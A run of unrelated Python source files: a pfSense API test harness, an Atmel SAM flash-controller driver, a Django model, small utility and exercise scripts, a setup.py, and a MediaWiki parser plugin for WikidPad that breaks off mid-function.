self.url = self.args.scheme + "://" + self.args.host + ":" + str(self.args.port) + self.url
self.auth_payload = {"client-id": self.args.username, "client-token": self.args.password}
# Run unit tests and exit on corresponding status code
self.post()
self.get()
self.put()
self.delete()
sys.exit(self.exit_code)
def get(self):
# Loop through each GET payload and check that it's response is expected
for payload in self.get_payloads:
self.pre_get()
self.get_responses.append(self.make_request("GET", payload))
self.post_get()
time.sleep(self.time_delay)
def post(self):
# Loop through each POST payload and check that it's response is expected
for payload in self.post_payloads:
self.pre_post()
self.post_responses.append(self.make_request("POST", payload))
self.post_post()
time.sleep(self.time_delay)
def put(self):
# Loop through each PUT payload and check that it's response is expected
for payload in self.put_payloads:
self.pre_put()
self.put_responses.append(self.make_request("PUT", payload))
self.post_put()
time.sleep(self.time_delay)
def delete(self):
# Loop through each DELETE payload and check that it's response is expected
for payload in self.delete_payloads:
self.pre_delete()
self.delete_responses.append(self.make_request("DELETE", payload))
self.post_delete()
time.sleep(self.time_delay)
def __start_argparse__(self):
# Custom port type for argparse
def port(value_string):
value = int(value_string)
if value not in range(1, 65535):
raise argparse.ArgumentTypeError("%s is out of range, choose from [1-65535]" % value)
return value
parser = argparse.ArgumentParser(
description="Check pfSense API's '" + self.url + "' endpoint for correct functionality."
)
parser.add_argument(
'--host',
dest="host",
type=str,
required=True,
help="The host to connect to"
)
parser.add_argument(
'--port',
dest="port",
type=port,
default=443,
help="The port to use when connecting",
metavar="{1-65535}"
)
parser.add_argument(
'--scheme',
dest="scheme",
type=str,
choices=["http", "https"],
default="https",
help="The URL scheme to use when connecting"
)
parser.add_argument(
'--auth_mode',
dest="auth_mode",
type=str,
choices=["local", "token", "jwt"],
default="local",
help="The API authentication mode to use."
)
parser.add_argument(
'--username',
dest="username",
type=str,
default="admin",
help='Username to authenticate as.'
)
parser.add_argument(
'--password',
dest="password",
type=str,
default="pfsense",
help='Password to authenticate with'
)
parser.add_argument(
'--timeout',
dest="timeout",
type=int,
default=10,
help="Connection timeout limit in seconds"
)
parser.add_argument(
'--verbose',
dest="verbose",
action="store_true",
required=False,
help='Display verbose output'
)
self.args = parser.parse_args()
def make_request(self, method, payload):
success = False
# Create authentication payload for local authentication
if self.args.auth_mode == "local":
payload.update(self.auth_payload)
headers = {}
# Create authentication headers for token authentication
elif self.args.auth_mode == "token":
headers = {"Authorization": self.args.username + " " + self.args.password}
# Create authentication headers for JWT authentication
elif self.args.auth_mode == "jwt":
headers = {"Authorization": "Bearer " + self.__request_jwt__()}
try:
req = requests.request(
method,
url=self.url,
data=json.dumps(payload),
verify=False,
timeout=self.args.timeout,
headers=headers
)
except requests.exceptions.ConnectTimeout:
print(self.__format_msg__(method, "Connection timed out"))
return None
# Check if our HTTP status code is expected
if req is not None and req.status_code == 200:
# Try to decode our request as JSON
try:
req.json()
is_json = True
except json.decoder.JSONDecodeError:
is_json = False
# Check if our response is JSON, if so proceed. Otherwise set error.
if is_json:
# Check if our API responses return code is 0. Otherwise set error.
if req.json()["return"] == 0:
msg = self.__format_msg__(method, "Response is valid", error=False)
success = True
else:
msg = self.__format_msg__(method, "Received non-zero return " + str(req.json()["return"]))
else:
msg = self.__format_msg__(method, "Expected JSON response, recieved " + str(req.content))
else:
msg = self.__format_msg__(method, "Expected status code 200, received " + str(req.status_code))
# Print our message to the console, if an error occurred
print(msg)
# Print request output if verbose mode
if self.args.verbose:
print(req.content.decode())
# Set exit code to one if this test failed
if success:
self.exit_code = 0
return req.json()
def __format_msg__(self, method, descr, error=True):
methods = {
"GET": "\33[32mGET\33[0m",
'POST': "\33[33mPOST\33[0m",
'PUT': "\33[34mPUT\33[0m",
'DELETE': "\33[31mDELETE\33[0m"
}
msg = "\33[31mFAILED -->\33[0m" if error else "\33[32mOK ------>\33[0m"
msg = msg + " [ " + methods[method] + " " + self.url + " ]: " + descr
return msg
def __request_jwt__(self):
try:
req = requests.request(
"POST",
url=self.args.scheme + "://" + self.args.host + ":" + str(self.args.port) + "/api/v1/access_token",
data=json.dumps({"client-id": self.args.username, "client-token": self.args.password}),
verify=False,
timeout=self.args.timeout
)
return req.json()["data"]["token"]
except Exception:
return ""
@staticmethod
def __safe_escape__(signum, frame):
try:
os._exit(0)
except OSError:
sys.exit(0)
# PRE/POST REQUEST METHODS. These are intended to be overwritten by a child class.
def pre_post(self):
pass
def post_post(self):
pass
def pre_get(self):
pass
def post_get(self):
pass
def pre_put(self):
pass
def post_put(self):
pass
def pre_delete(self):
pass
def post_delete(self):
pass |
# Enhanced Embedded Flash Controller (EEFC) driver for Atmel SAM
from time import time, sleep
import logging
try:
xrange
except NameError:
# Remap xrange to range for Python 3
xrange = range
from . import FlashController
class CommandException(Exception):
def __init__(self, fsr_address, fsr):
self.fsr_address = fsr_address
self.fsr = fsr
def __str__(self):
return 'Command error EEFC_FSR @ {:08X}: {:08X}'.format(self.fsr_address, self.fsr)
class Flash(FlashController.FlashControllerBase):
FMR_OFFSET = 0x00 # Flash Mode Register
FCR_OFFSET = 0x04 # Flash Command Register
FSR_OFFSET = 0x08 # Flash Status Register
FRR_OFFSET = 0x0c # Flash Result Register
FCR_FKEY = 0x5a000000
FSR_MASK = {
'FRDY' : 1, # Flash Ready Status (cleared when Flash is busy)
'FCMDE' : 2, # Flash Command Error Status (cleared on read or by writing EEFC_FCR)
'FLOCKE' : 4, # Flash Lock Error Status (cleared on read)
'FLERR' : 8, # Flash Error Status (cleared when a programming operation starts)
}
FCR_CMDA = {
'GETD' : 0x00, # Get Flash descriptor
'WP' : 0x01, # Write page
'WPL' : 0x02, # Write page and lock
'EWP' : 0x03, # Erase page and write page
'EWPL' : 0x04, # Erase page and write page then lock
'EA' : 0x05, # Erase all
'EPA' : 0x07, # Erase pages
'SLB' : 0x08, # Set lock bit
'CLB' : 0x09, # Clear lock bit
'GLB' : 0x0A, # Get lock bit
'SGPB' : 0x0B, # Set GPNVM bit
'CGPB' : 0x0C, # Clear GPNVM bit
'GGPB' : 0x0D, # Get GPNVM bit
'STUI' : 0x0E, # Start read unique identifier
'SPUI' : 0x0F, # Stop read unique identifier
'GCALB' : 0x10, # Get CALIB bit
'ES' : 0x11, # Erase sector
'WUS' : 0x12, # Write user signature
'EUS' : 0x13, # Erase user signature
'STUS' : 0x15, # Start read user signature
'SPUS' : 0x14, # Stop read user signature
}
LOG = logging.getLogger(__name__)
def __init__(self, samba, flash_base_address, regs_base_address, pages, page_size, dont_use_read_block=False):
"""Initializes a Enhanced Embedded Flash Controller (EEFC) instance.
Args:
samba -- Core `SAMBA` instance bound to the device
flash_base_address -- Absolute base address of the flash region
regs_base_address -- Absolute base address of the flash control registers
pages -- Pages count
page_size -- Page size, bytes
dont_use_read_block-- SAM3 bugfix: all 0 reads when SAMBA read_block
"""
self.samba = samba
self.flash_address_range = FlashController.AddressRange(flash_base_address, pages * page_size, page_size)
self.regs_base_address = regs_base_address
# SAM3 bugfux
samba.write_word(self.regs_base_address + self.FMR_OFFSET, 0x6 << 8)
self.dont_use_read_block = dont_use_read_block
def _wait_while_busy(self, timeout=2):
"""Waits until the flash controller in the attached device is ready for a new operation.
Args:
timeout -- Wait timeout (double), s
"""
printed = False
start_timestamp = time()
while self.samba.read_word(self.regs_base_address + self.FSR_OFFSET) & self.FSR_MASK['FRDY'] == 0:
if not printed:
self.LOG.debug('Flash busy')
printed = True
if time() - start_timestamp >= timeout:
raise Exception('Flash busy: timeout. FSR: ' + str(self.samba.read_word(self.regs_base_address + self.FSR_OFFSET)))
sleep(.001)
if printed:
self.LOG.debug('Flash was busy for {:.3f}s'.format(time() - start_timestamp))
def _command(self, command='GETD', farg=0, do_not_wait=False):
"""Issues a low-level command to the NVMCTRL module within the
connected device.
Args:
command -- Command value to issue (see `FCR_CMDA`)
farg -- Command argument value to issue (see `FCR_CMDA`)
do_not_wait -- do not check busy flag before command issue
"""
if not do_not_wait:
self._wait_while_busy()
if type(command) is str:
command = self.FCR_CMDA[command]
reg = self.FCR_FKEY | ((farg & 0xFFFF) << 8) | (command & 0xFF)
self.LOG.debug('EEFC_FCR @ 0x{:08X} = 0x{:08X}'.format(self.regs_base_address + self.FCR_OFFSET, reg))
self.samba.write_word(self.regs_base_address + self.FCR_OFFSET, reg)
# check for error
reg = self.samba.read_word(self.regs_base_address + self.FSR_OFFSET) & ~self.FSR_MASK['FRDY'] & 0xF
if reg:
raise CommandException(self.regs_base_address + self.FSR_OFFSET, reg)
def _read_block(self, address, length):
"SAM3 bugfux: all 0 reads when SAMBA read_block"
if self.dont_use_read_block:
return self._read_by_word(address, length)
else:
return self.samba.read_block(address, length)
def _read_by_word(self, address, length):
def append_bytes(offset_byte, length=None):
if length is None:
length = 4 - offset_byte % 4
for i in xrange(offset_byte, offset_byte + length):
ret.append(buff >> i * 8 & 0xFF)
ret = bytearray()
if address % 4 != 0:
buff = self.samba.read_word(address - address % 4)
append_bytes(address % 4, min(4 - address % 4, length))
length -= 4 - address % 4
address += 4 - address % 4
for i in xrange(address, address + length, 4):
buff = self.samba.read_word(i)
append_bytes(0, min(address + length - i, 4))
return ret
def read_gpnvm(self):
"Reads GPNVM bits"
self._command('GGPB')
self._wait_while_busy()
buff = self.samba.read_word(self.regs_base_address + self.FRR_OFFSET)
self.LOG.info('EEFC_FRR @ 0x{:08X}: 0x{:08X}'.format(self.regs_base_address + self.FRR_OFFSET, buff))
return buff
def set_gpnvm(self, bits_mask):
"Sets GPNVM bits according to mask"
for i, bit in enumerate(bin(bits_mask)[2:][::-1]):
if bit == '1':
self._command('SGPB', i)
def clear_gpnvm(self, bits_mask):
"Clears GPNVM bits according to mask"
for i, bit in enumerate(bin(bits_mask)[2:][::-1]):
if bit == '1':
self._command('CGPB', i)
def read_descriptor(self):
"Reads flash descriptor as list of words"
self._command()
self._wait_while_busy()
start_timestamp = time()
ret = []
while True:
if time() - start_timestamp >= .5:
raise Exception('Get Flash Descriptor: timeout')
buff = self.samba.read_word(self.regs_base_address + self.FRR_OFFSET)
if not buff:
return ret
ret.append(buff)
return ret
def read_unique_identifier_area(self):
"Reads unique identifier area as bytearray"
self._command('STUI')
# self._wait_while_busy() # The FRDY flag is not set when the STUI command is achieved
ret = self._read_block(self.flash_address_range.start, 16)
self._command('SPUI', do_not_wait=True)
return ret
def get_info(self):
"""Read special registers & flash regions.
Returns:
flash controller info as text.
"""
ret = 'Flash info\n'
ret += '\tGPNVM bits: ' + str(self.read_gpnvm()) + '\n'
ret += '\tUnique identifier area: ' + self.read_unique_identifier_area().decode('ascii', 'replace') + '\n'
ret += '\tDescriptor: ' + str(self.read_descriptor()) + '\n'
return ret
def read_flash(self, address=None, length=None):
"""Reads the data from flash.
Args:
address -- Absolute address to read from. If `None` read from start of flash.
length -- Length of the data to read (or until end of application area if `None`).
Returns:
Byte array of the extracted data.
"""
if address is None:
address = self.flash_address_range.start
if not self.flash_address_range.is_in_range(address, 0):
raise OutOfRangeException(self.flash_address_range, address)
if length is None:
length = self.flash_address_range.remaining_length(address)
if not self.flash_address_range.is_in_range(address, length):
raise OutOfRangeException(self.flash_address_range, address)
self.LOG.debug('Flash read: '+str(FlashController.AddressRange(address, length)))
ret = self._read_block(address, length)
return ret
def program_flash(self, data, address=None):
"""Writes the data to flash.
Args:
data -- Data to write.
address -- Absolute address to write to. If `None` write from start of flash.
"""
if address is None:
address = self.flash_address_range.start
if not self.flash_address_range.is_in_range(address, len(data)):
raise OutOfRangeException(self.flash_address_range, address)
self.LOG.info('Flash write: '+str(FlashController.AddressRange(address, len(data))))
# write to chip flash page by page
# 32-bit words must be written continuously, in either ascending or descending order.
# Writing the latch buffer in a random order is not permitted.
self._wait_while_busy()
start_timestamp = time()
for (chunk_address, chunk_data) in self._chunk(self.flash_address_range.page_size, address, data):
# write to page
self.LOG.debug('Flash read & compare: '+str(FlashController.AddressRange(chunk_address, len(chunk_data))))
buff = self._read_block(chunk_address, len(chunk_data))
if self._is_equal(chunk_data, buff):
self.LOG.info('Flash compare: equals, not need to write: '+str(FlashController.AddressRange(chunk_address, len(chunk_data))))
else:
# checks it's needs to turn from 0 to 1 for any bit
need_erase = False
for i in xrange(len(buff)):
if buff[i] & chunk_data[i] != chunk_data[i]:
need_erase = True
break
# align: 32 bit words or page size
align_bytes = self.flash_address_range.page_size if need_erase else 4
# check chunk data for aligned boundary
if chunk_address % align_bytes != 0:
# start of chunk data not aligned # add bytes to chunk data
new_address = chunk_address - chunk_address % align_bytes
buff = self._read_block(new_address, chunk_address % align_bytes)
chunk_data = list(buff) + chunk_data
chunk_address = new_address
# now chunk_address is aligned
if len(chunk_data) % align_bytes != 0:
# end of chunk data not aligned
buff = self._read_block(chunk_address + len(chunk_data), align_bytes - len(chunk_data) % align_bytes)
chunk_data += list(buff)
# now chunk_address & chunk_data is aligned
# write to page buffer with 32 bit words
for i in xrange(0, len(chunk_data), 4):
buff = chunk_data[i] | chunk_data[i + 1] << 8 | chunk_data[i + 2] << 16 | chunk_data[i + 3] << 24
self.samba.write_word(chunk_address + i, buff)
self._command('EWP' if need_erase else 'WP', chunk_address // self.flash_address_range.page_size)
self._wait_while_busy()
# check the chunk
if not self.verify_flash(chunk_data, chunk_address):
raise Exception('Flash write error: page address [0x{:08X}..0x{:08X}]'.format(chunk_address, chunk_address + self.flash_address_range.page_size))
self.LOG.info('Flash was wrote for {:.3f}s'.format(time() - start_timestamp))
# check the entire data
return self.verify_flash(data, address)
def erase_flash(self, start_address=None):
"""Erases the flash: entire plane, sector, page. Now support entire plane only (`start_address=None`)"""
if start_address is not None:
raise Exception('Erase sector or page not supported yet')
self._command('EA')
def verify_flash(self, data, address=None):
"""Verifies the flash data with a reference data"""
if address is None:
address = self.flash_address_range.start
self.LOG.debug('Flash verify: '+str(FlashController.AddressRange(address, len(data))))
buff = self.read_flash(address, len(data))
ret = self._is_equal(buff, data)
if ret:
self.LOG.info('Flash verify '+str(FlashController.AddressRange(address, len(data)))+': OK')
else:
self.LOG.error('Flash verify '+str(FlashController.AddressRange(address, len(data)))+': FAIL')
return ret
|
from .autocast_mode import autocast
|
from django.db import models
class Course(models.Model):
created = models.DateTimeField(auto_now_add=True)
owner = models.ForeignKey('auth.User', related_name='courses', on_delete=models.CASCADE)
title = models.CharField(max_length=100)
teachers = models.ManyToManyField('auth.User', related_name='teacher')
students = models.ManyToManyField('auth.User', related_name='student')
class Meta:
ordering = ['created']
|
"""This file contains functions that accept and process keyboard input."""
from .output_functions import display
def clean_input(text):
"""Converts raw text to a consistent format."""
return text.lower().strip()
def collect_input(message=None, prompt="> ", valid=[], cast=str):
"""Prompts the user for input."""
if message:
display(message)
raw_input = input(prompt)
|
import cv2
import os
import subprocess
# File to shrink down the sizes of the captures images
W = 100.
subprocess.run("rm -rf neg", shell=True)
subprocess.run("mkdir neg", shell=True)
subprocess.run("rm -rf pos", shell=True)
subprocess.run("mkdir pos", shell=True)
# resize negatives
for filename in os.listdir('negative'):
image = cv2.imread('negative/' + filename)
height, width, depth = image.shape
imgScale = W / width
newX, newY = image.shape[1] * imgScale, image.shape[0] * imgScale
newImage = cv2.resize(image, (int(newX), int(newY)))
cv2.imwrite("neg/" + filename, newImage)
# resize positives
for filename in os.listdir('positive'):
image = cv2.imread('positive/' + filename)
height, width, depth = image.shape
imgScale = W / width
newX, newY = image.shape[1] * imgScale, image.shape[0] * imgScale
newImage = cv2.resize(image, (int(newX), int(newY)))
cv2.imwrite("pos/" + filename, newImage)
|
from setuptools import setup, find_packages
import os
setup(
name='allele-project',
description='Projects allele specific alignments on reference genome',
long_description=open(os.path.join(os.path.dirname(__file__), 'README.md')).read(),
version='0.0.1',
url='https://github.com/Barski-lab/allele-project',
download_url=('https://github.com/Barski-lab/allele-project'),
author='Michael Kotliar',
author_email='misha.kotliar@gmail.com',
license = 'MIT',
packages=find_packages(),
zip_safe=False,
entry_points={
'console_scripts': [
"allele-project=allele_project.main:main"
]
}
) |
from enum import Enum, auto, unique
import networkx as nx
@unique
class CodeType(Enum):
ACCESSOR = auto()
CALCULATION = auto()
CONVERSION = auto()
FILEIO = auto()
HELPER = auto()
LOGGING = auto()
MODEL = auto()
PIPELINE = auto()
UNKNOWN = auto()
def build_code_type_decision_tree():
G = nx.DiGraph()
G.add_node(
"C0",
type="condition",
func=lambda d: d["num_switches"] >= 1,
shape="rectangle",
label="num_switches >= 1",
)
G.add_node(
"C1",
type="condition",
func=lambda d: d["max_call_depth"] <= 2,
shape="rectangle",
label="max_call_depth <= 2",
)
G.add_node(
"C2",
type="condition",
func=lambda d: d["num_assgs"] >= 1,
shape="rectangle",
label="num_assgs >= 1",
)
G.add_node(
"C3",
type="condition",
func=lambda d: d["num_math_assgs"] >= 1,
shape="rectangle",
label="num_math_assgs >= 1",
)
G.add_node(
"C4",
type="condition",
func=lambda d: d["num_data_changes"] >= 1,
shape="rectangle",
label="num_data_changes >= 1",
)
G.add_node(
"C5",
type="condition",
func=lambda d: d["num_var_access"] >= 1,
shape="rectangle",
label="num_var_access >= 1",
)
G.add_node(
"C6",
type="condition",
func=lambda d: d["num_math_assgs"] >= 5,
shape="rectangle",
label="num_math_assgs >= 5",
)
G.add_node("Accessor", type=CodeType.ACCESSOR, color="blue")
G.add_node("Calculation", type=CodeType.CALCULATION, color="blue")
G.add_node("Conversion", type=CodeType.CONVERSION, color="blue")
G.add_node("File I/O", type=CodeType.FILEIO, color="blue")
# G.add_node("Helper", type=CodeType.HELPER, color='blue')
# G.add_node("Logging", type=CodeType.LOGGING, color='blue')
G.add_node("Model", type=CodeType.MODEL, color="blue")
G.add_node("Pipeline", type=CodeType.PIPELINE, color="blue")
G.add_node("Unknown", type=CodeType.UNKNOWN, color="blue")
G.add_edge("C0", "Pipeline", type=True, color="darkgreen")
G.add_edge("C0", "C1", type=False, color="red")
G.add_edge("C1", "C2", type=True, color="darkgreen")
G.add_edge("C1", "Pipeline", type=False, color="red")
G.add_edge("C2", "File I/O", type=False, color="red")
G.add_edge("C2", "C3", type=True, color="darkgreen")
G.add_edge("C3", "C4", type=True, color="darkgreen")
G.add_edge("C3", "C5", type=False, color="red")
G.add_edge("C4", "C6", type=True, color="darkgreen")
G.add_edge("C4", "Conversion", type=False, color="red")
G.add_edge("C5", "Accessor", type=True, color="darkgreen")
G.add_edge("C5", "Unknown", type=False, color="red")
G.add_edge("C6", "Model", type=True, color="darkgreen")
G.add_edge("C6", "Calculation", type=False, color="red")
return G
|
'''
Escreva um programa que leia um valor em metros e o exiba convertido em centímetros e milímetros.
'''
metros=int(input("Digite o valor em metros "))
centímetros= metros*100
milímetros= metros*1000
print("{} metros em centímetros é igual a {}cm, e em milímetros é {}mm ".format(metros,centímetros,milímetros)) |
## import hotshot
## _prof = hotshot.Profile("hotshot.prf")
# Official parser plugin for MediaWiki language "MediaWiki 1"
# Last modified (format YYYY-MM-DD): 2013-05-06
import locale, pprint, time, sys, string, traceback
from textwrap import fill
import wx
import re # from pwiki.rtlibRepl import re
from pwiki.WikiExceptions import *
from pwiki import StringOps
from pwiki.StringOps import revStr, HtmlStartTag, HtmlEmptyTag, HtmlEndTag
from pwiki.WikiDocument import WikiDocument
from pwiki.OptionsDialog import PluginOptionsPanel
sys.stderr = sys.stdout
locale.setlocale(locale.LC_ALL, '')
from pwiki.WikiPyparsing import *
WIKIDPAD_PLUGIN = (("WikiParser", 1),)
WIKI_LANGUAGE_NAME = "mediawiki_1"
WIKI_HR_LANGUAGE_NAME = u"MediaWiki 1.0"
# The specialized optimizer in WikiPyParsing can't handle automatic whitespace
# removing
ParserElement.setDefaultWhitespaceChars("")
RE_FLAGS = re.DOTALL | re.UNICODE | re.MULTILINE
def buildRegex(regex, name=None, hideOnEmpty=False):
if name is None:
element = Regex(regex, RE_FLAGS)
else:
element = Regex(regex, RE_FLAGS).setResultsName(name).setName(name)
if hideOnEmpty:
element.setParseAction(actionHideOnEmpty)
return element
stringEnd = buildRegex(ur"(?!.)", "stringEnd")
def getFirstTerminalNode(t):
if t.getChildrenCount() == 0:
return None
lt = t[-1]
if not isinstance(lt, TerminalNode):
return None
return lt
def actionHideOnEmpty(s, l, st, t):
if t.strLength == 0:
return []
def actionSetHelperNodeRecur(s, l, st, t):
"""
Set as helper node which is recursively processed by editor and renderers
even if it is unknown
"""
if t.name != None:
t.helperNode = True
t.helperRecursive = True
else:
t[0].helperNode = True
t[0].helperRecursive = True
def actionSetHelperNodeNoRecur(s, l, st, t):
"""
Set as helper node which is not recursively processed by editor and renderers
even if it is unknown
"""
if t.name != None:
t.helperNode = True
t.helperRecursive = False
else:
t[0].helperNode = True
t[0].helperRecursive = False
def actionCutRightWhitespace(s, l, st, t):
lt = getFirstTerminalNode(t)
if lt is None:
return None
txt = lt.getText()
for i in xrange(len(txt) - 1, -1, -1):
if txt[i] not in (u"\t", u" ", u"\n", u"\r"):
if i < len(txt) - 1:
lt.text = txt[:i+1]
lt.recalcStrLength()
t2 = buildSyntaxNode(txt[i+1:], lt.pos + i + 1)
t.append(t2)
return t
return None
_CHECK_LEFT_RE = re.compile(ur"[ \t]*$", RE_FLAGS)
def preActCheckNothingLeft(s, l, st, pe):
# Technically we have to look behind, but this is not supported very
# well by reg. ex., so we take the reverse string and look ahead
revText = st.revText
revLoc = len(s) - l
# print "--preActCheckNothingLeft4", repr((revLoc, revText[revLoc: revLoc+20]))
if not _CHECK_LEFT_RE.match(revText, revLoc):
raise ParseException(s, l, "left of block markup (e.g. table) not empty")
def validateNonEmpty(s, l, st, t):
if t.strLength == 0:
raise ParseException(s, l, "matched token must not be empty")
def precTest(s, l, st, pe):
print "--precTest", repr((l, st, type(pe)))
def createCheckNotIn(tokNames):
tokNames = frozenset(tokNames)
def checkNoContain(s, l, st, pe):
for tn in tokNames:
if tn in st.nameStack[:-1]:
# print "--notcontain exc", repr(st.nameStack[:-1]), tn
raise ParseException(s, l, "token '%s' is not allowed here" % tn)
return checkNoContain
def pseudoActionFindMarkup(s, l, st, t):
if t.strLength == 0:
return []
t.name = "plainText"
return t
# Forward definition of normal content and content in table cells, headings, ...
content = Forward().setName("content")
oneLineContent = Forward().setName("oneLineContent")
tableContentInCell = Forward().setResultsNameNoCopy("tableContentInCell")\
.setName("tableContentInCell").setParseAction(actionSetHelperNodeRecur)
headingContent = Forward().setResultsNameNoCopy("headingContent").setName("headingContent")
todoContent = Forward().setResultsNameNoCopy("value").setName("value")
titleContent = Forward().setResultsNameNoCopy("title").setName("title")
characterAttributionContent = Forward().setName("characterAttributionContent")
whitespace = buildRegex(ur"[ \t]*")
whitespace = whitespace.setParseAction(actionHideOnEmpty)
whitespaceOrNl = buildRegex(ur"[ \t\n]*")
whitespaceOrNl = whitespaceOrNl.setParseAction(actionHideOnEmpty)
eolOrEot = buildRegex(ur"\n|(?!.)")
def addCreateModeAppendixEntry(l, appendixNode, key, data):
"""
Add an appendix entry to an existing appendix node or create new node
"""
if appendixNode is None:
appendixNode = NonTerminalNode([], l, None)
appendixNode.entries = [(key, data)]
else:
appendixNode.entries.append((key, data))
return appendixNode
def addCreateModeAppendixEntries(l, appendixNode, entrySeq):
"""
Add multiple appendix entries to an existing appendix node or create new node
"""
if appendixNode is None:
appendixNode = NonTerminalNode([], l, None)
appendixNode.entries = list(entrySeq)
else:
appendixNode.entries += list(entrySeq)
return appendixNode
# The mode appendix for URLs and tables
def actionModeAppendix(s, l, st, t):
entries = []
for entry in t.iterFlatByName("entry"):
key = entry.findFlatByName("key").getText()
if key.endswith(u":") or key.endswith(u"="):
key = key[:-1]
data = entry.findFlatByName("data").getText()
entries.append((key, data))
t.entries = entries
return t
modeAppendixEntry = buildRegex(ur"(?:(?![;\|\]=:])\S)+[=:]|(?![;\|\]=:])\S",
"key") + buildRegex(ur"(?:(?![;\|\]])\S)*", "data")
modeAppendixEntry = modeAppendixEntry.setResultsNameNoCopy("entry")
modeAppendix = modeAppendixEntry + ZeroOrMore(buildRegex(ur";") + modeAppendixEntry)
modeAppendix = modeAppendix.addParseAction(actionModeAppendix)
# -------------------- Simple formatting --------------------
EscapePlainCharPAT = ur"\\"
escapedChar = buildRegex(EscapePlainCharPAT) + buildRegex(ur".", "plainText")
nowikiStandalone = buildRegex(ur"<nowiki ?/>")
italicsStart = buildRegex(ur"''")
italicsStart = italicsStart.setParseStartAction(createCheckNotIn(("italics",)))
italicsEnd = buildRegex(ur"''")
italics = italicsStart + characterAttributionContent + italicsEnd
italics = italics.setResultsNameNoCopy("italics").setName("italics")
boldStart = buildRegex(ur"'''")
boldStart = boldStart.setParseStartAction(createCheckNotIn(("bold",)))
boldEnd = buildRegex(ur"'''")
bold = boldStart + characterAttributionContent + boldEnd
bold = bold.setResultsNameNoCopy("bold").setName("bold")
script = buildRegex(ur"<%") + buildRegex(ur".*?(?=%>)", "code") + \
buildRegex(ur"%>")
script = script.setResultsNameNoCopy("script")
horizontalLine = buildRegex(ur"----+[ \t]*$", "horizontalLine")\
.setParseStartAction(preActCheckNothingLeft)
# -------------------- HTML --------------------
htmlTag = buildRegex(ur"</?[A-Za-z][A-Za-z0-9:]*(?:/| [^\n>]*)?>", "htmlTag")
htmlEntity = buildRegex(
ur"&(?:[A-Za-z0-9]{2,10}|#[0-9]{1,10}|#x[0-9a-fA-F]{1,8});",
"htmlEntity")
htmlComment = buildRegex(ur"<!-- .*? -->")
# -------------------- Heading --------------------
def actionHeading(s, l, st, t):
levelStart = len(t.findFlatByName("headingStartTag").getText())
levelEnd = len(t.findFlatByName("headingEndTag").getText())
t.level = min(levelStart, levelEnd)
t.contentNode = t.findFlatByName("headingContent")
if t.contentNode is None:
raise ParseException(s, l, "a heading needs content")
# if t.contentNode.findFlatByName("newlineInHeading") is not None:
# raise ParseException(s, l, "heading must not contain newline")
headingStartTag = buildRegex(ur"^={1,15}", "headingStartTag")
headingEnd = buildRegex(ur"={1,15}", "headingEndTag") + whitespace + \
buildRegex(ur"\n")
heading = headingStartTag + Optional(buildRegex(ur" ")) + \
headingContent + headingEnd
heading = heading.setResultsNameNoCopy("heading").setParseAction(actionHeading)
newlineInHeading = buildRegex(ur"\n", "newlineInHeading")
# -------------------- Todo-Entry --------------------
def actionTodoEntry(s, l, st, t):
t.key = t.findFlatByName("key").getString()
t.keyComponents = t.key.split(u".")
t.delimiter = t.findFlatByName("todoDelimiter").getString()
t.valueNode = t.findFlatByName("value")
t.todos = [(t.key, t.valueNode)]
todoKey = buildRegex(ur"\b(?:todo|done|wait|action|track|issue|"
ur"question|project)(?:\.[^:\s]+)?", "key")
# todoKey = todoKey.setParseStartAction(preActCheckNothingLeft)
todoEnd = buildRegex(ur"\n|\||(?!.)")
todoEntry = todoKey + buildRegex(ur":", "todoDelimiter") + todoContent
todoEntry = todoEntry.setResultsNameNoCopy("todoEntry")\
.setParseAction(actionTodoEntry)
todoEntryWithTermination = todoEntry + Optional(buildRegex(ur"\|"))
# Only for LanguageHelper.parseTodoEntry()
todoAsWhole = todoEntry + stringEnd
# -------------------- <pre> html tag, space for <pre>-formatting --------------------
def actionPreHtmlStart(s, l, st, t):
st.dictStack.getSubTopDict()["inPre"] = True
def actionPreBySpaceStart(s, l, st, t):
if "preBySpace" in st.nameStack[:-1]:
# Not the first line with space -> ignore the space
t.name = None
elif st.dictStack.getSubTopDict().get("inPre", False):
# We are inside a HTML "pre"-tag -> space is ordinary text
raise ParseException(s, l, "pre-space inside <pre>-tag not allowed")
else:
# First line with space -> make this a faked "<pre>"-tag
st.dictStack.getSubTopDict()["inPre"] = True
t[0].name = "htmlEquivalent"
t[0].htmlContent = HtmlStartTag(u"pre")
def actionPreBySpaceEnd(s, l, st, t):
t.name = "htmlEquivalent"
t.htmlContent = HtmlEndTag(u"pre")
preHtmlStart = buildRegex(ur"<pre(?: [^\n>]*)?>", "htmlTag")\
.setParseAction(actionPreHtmlStart)
preHtmlEnd = buildRegex(ur"</pre(?: [^\n>]*)?>", "htmlTag")
preHtmlTag = preHtmlStart + content + preHtmlEnd
preHtmlTag = preHtmlTag.setResultsNameNoCopy("preHtmlTag")\
.setParseAction(actionSetHelperNodeRecur)
# .setParseStartAction(createCheckNotIn(("preHtmlTag",)))\
preBySpaceStart = buildRegex(ur"^ ")
preBySpaceStart = preBySpaceStart.setParseAction(actionPreBySpaceStart)
preBySpaceEnd = buildRegex(ur"^(?! )|(?!.)") | FollowedBy(preHtmlStart)
preBySpaceEnd.setParseAction(actionPreBySpaceEnd)
preBySpaceFirst = preBySpaceStart + content + preBySpaceEnd
preBySpaceFirst = preBySpaceFirst\
.setParseStartAction(createCheckNotIn(("preBySpace",)))
preBySpace = preBySpaceFirst | preBySpaceStart
preBySpace = preBySpace.setResultsNameNoCopy("preBySpace")\
.setParseAction(actionSetHelperNodeRecur)
# -------------------- (un)ordered list --------------------
def actionBulletCombinationStartOrContinuation(s, l, st, t):
prevCombNorm = st.dictStack.getNamedDict("bulletCombination")\
.get("prevBulletCombinationNorm", u"")
newComb = t[0].getText()
t[0].helperNode = True
# For definition lists the "!" generates the enclosing "dl"-tag
# it is only used internally and not part of MediaWiki syntax
newCombNorm = newComb.replace(u":", u"!:").replace(u";", u"!;")
lastBulletChar = newCombNorm[-1]
st.dictStack.getNamedDict("bulletCombination")\
["prevBulletCombinationNorm"] = newCombNorm
result = [t[0]]
# Eliminate equal prefix
while prevCombNorm != u"" and newCombNorm != u"" and prevCombNorm[0] == newCombNorm[0]:
prevCombNorm = prevCombNorm[1:]
newCombNorm = newCombNorm[1:]
while prevCombNorm != u"":
n = TerminalNode(u"", l, "htmlEquivalent")
bulletChar = prevCombNorm[-1]
endTag = {
u"*": u"ul",
u"#": u"ol",
u";": u"dt",
u":": u"dd",
u"!": u"dl",
}[bulletChar]
n.htmlContent = HtmlEndTag(endTag)
result.append(n)
prevCombNorm = prevCombNorm[:-1]
startTag = u""
while newCombNorm != u"":
